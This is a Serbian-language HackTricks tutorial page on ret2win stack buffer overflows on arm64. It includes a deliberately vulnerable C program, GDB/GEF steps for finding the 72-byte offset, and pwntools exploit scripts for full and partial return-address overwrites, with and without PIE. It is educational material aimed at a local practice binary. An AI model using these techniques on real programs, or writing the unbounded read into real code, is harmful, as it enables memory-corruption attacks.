Serbian - Ht
HackTricks Training Twitter Linkedin Sponsor

Ret2win - arm64

Ret2win - arm64

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pronađite uvod u arm64 u:

pageIntroduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompajlirajte bez PIE-a i canary-ja:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Pronalaženje odstupanja

Opcija obrasca

Ovaj primer je kreiran korišćenjem GEF:

Pokrenite gdb sa gef-om, kreirajte obrazac i koristite ga:

gdb -q ./ret2win
pattern create 200
run

arm64 će pokušati da se vrati na adresu u registru x30 (koji je kompromitovan), možemo koristiti to da bismo pronašli offset obrasca:

pattern search $x30

Pomeraj je 72 (9x48).

Opcija pomeraja steka

Počnite tako što ćete dobiti adresu steka gde je smešten registar pc:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Sada postavite prekidnu tačku nakon read() i nastavite dok se ne izvrši read() i postavite obrazac poput 13371337:

b *vulnerable_function+28
c

Pronađite gde je ovaj obrazac smešten u memoriji:

Zatim: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

Bez PIE-a

Redovno

Dobijte adresu funkcije win:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Eksploatacija:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Zapravo, ovo će biti više kao off-by-2 u sačuvanom PC-u na steku. Umesto da prepisujemo sve povratne adrese, prepisaćemo samo poslednja 2 bajta sa 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Možete pronaći još jedan primer off-by-one u ARM64 na https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, koji je stvaran off-by-one u izmišljenoj ranjivosti.

Sa PIE

Kompajlirajte binarni fajl bez -no-pie argumenta

Off-by-2

Bez curenja ne znamo tačnu adresu funkcije za pobedu, ali možemo znati ofset funkcije iz binarnog fajla i znajući da adresa povratka koju prepisujemo već pokazuje ka bliskoj adresi, moguće je procuriti ofset do funkcije za pobedu (0x7d4) u ovom slučaju i jednostavno koristiti taj ofset:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

<details>

<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Drugi načini da podržite HackTricks:

* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

</details>
PreviousRet2winNextStack Shellcode

Last updated